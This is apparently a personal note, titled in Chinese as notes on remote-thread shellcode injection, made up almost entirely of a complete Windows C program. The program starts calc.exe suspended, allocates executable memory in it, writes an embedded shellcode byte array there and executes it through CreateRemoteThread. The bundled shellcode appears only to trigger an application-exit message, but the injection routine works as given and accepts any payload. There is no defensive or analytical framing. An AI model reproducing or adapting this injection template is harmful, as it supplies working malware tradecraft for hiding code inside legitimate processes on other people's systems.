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远程线程注入shellcode笔记
#include "stdafx.h" #include <windows.h> #include <stdio.h> char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7"; BOOL injection() { wchar_t Cappname[MAX_PATH] = {0}; STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID lpMalwareBaseAddr; LPVOID lpnewVictimBaseAddr; HANDLE hThread; DWORD dwExitCode; BOOL bRet = FALSE; lpMalwareBaseAddr = shellcode; //获取计算器的地址,接下来将启动一个计算器 GetSystemDirectory(Cappname,MAX_PATH); _tcscat(Cappname,L"\\calc.exe"); printf("Injection program Name:%S\r\n",Cappname); ZeroMemory(&si,sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi,sizeof(pi)); //创建计算器 if (CreateProcess(Cappname,NULL,NULL,NULL, FALSE,CREATE_SUSPENDED ,NULL,NULL,&si,&pi) == 0) { return bRet; } //开辟内存空间大小 lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess ,NULL,sizeof(shellcode)+1,MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL) { return bRet; } //将SHELLCODE写入 WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr,sizeof(shellcode)+1,NULL); //创建线程 hThread = CreateRemoteThread(pi.hProcess,0,0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr,NULL,0,NULL); //等待结束进程 WaitForSingleObject(pi.hThread,INFINITE); GetExitCodeProcess(pi.hProcess,&dwExitCode); TerminateProcess(pi.hProcess,0); return bRet; } void help(char* proc) { printf("%s:[-] start a process and injection shellcode to memory\r\n",proc); } int main(int argc,char* argv[]) { help(argv[0]); injection(); }
远程线程注入shellcode笔记
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